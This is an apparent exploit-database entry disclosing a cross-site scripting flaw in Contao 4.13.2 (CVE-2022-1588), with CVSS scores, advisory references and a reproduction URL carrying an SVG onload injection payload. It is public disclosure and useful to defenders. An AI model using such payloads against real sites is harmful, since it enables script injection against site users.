Contao 4.13.2 Cross Site Scripting

2022.06.04

Credit: Chetanya Sharma

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2022-1588

CWE: CWE-79

Dork: NA

Ogólna skala CVSS: 4.3/10

Znaczenie: 2.9/10

Łatwość wykorzystania: 8.6/10

Wymagany dostęp: Zdalny

Złożoność ataku: Średnia

Autoryzacja: Nie wymagana

Wpływ na poufność: Brak

Wpływ na integralność: Częściowy

Wpływ na dostępność: Brak

# Exploit Title: Contao 4.13.2 - Cross-Site Scripting (XSS)
# Google Dork: NA
# Date: 04/28/2022
# Exploit Author: Chetanya Sharma @AggressiveUser
# Vendor Homepage: https://contao.org/en/
# Software Link: https://github.com/contao/contao/releases/tag/4.13.2
# Version: [ 4.13.2 ] 
# Tested on: [KALI OS]
# CVE : CVE-2022-1588
# References: 
- https://huntr.dev/bounties/df46e285-1b7f-403c-8f6c-8819e42deb80/
- https://github.com/contao/contao/security/advisories/GHSA-m8x6-6r63-qvj2
- https://contao.org/en/security-advisories/cross-site-scripting-via-canonical-url.html
---------------

Steps to reproduce:
Navigate to the below URL
URL: https://localhost/contao/"><svg//onload=alert(112233)>

See this note in RAW Version

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Contao 4.13.2 Cross Site Scripting

Dork: NA

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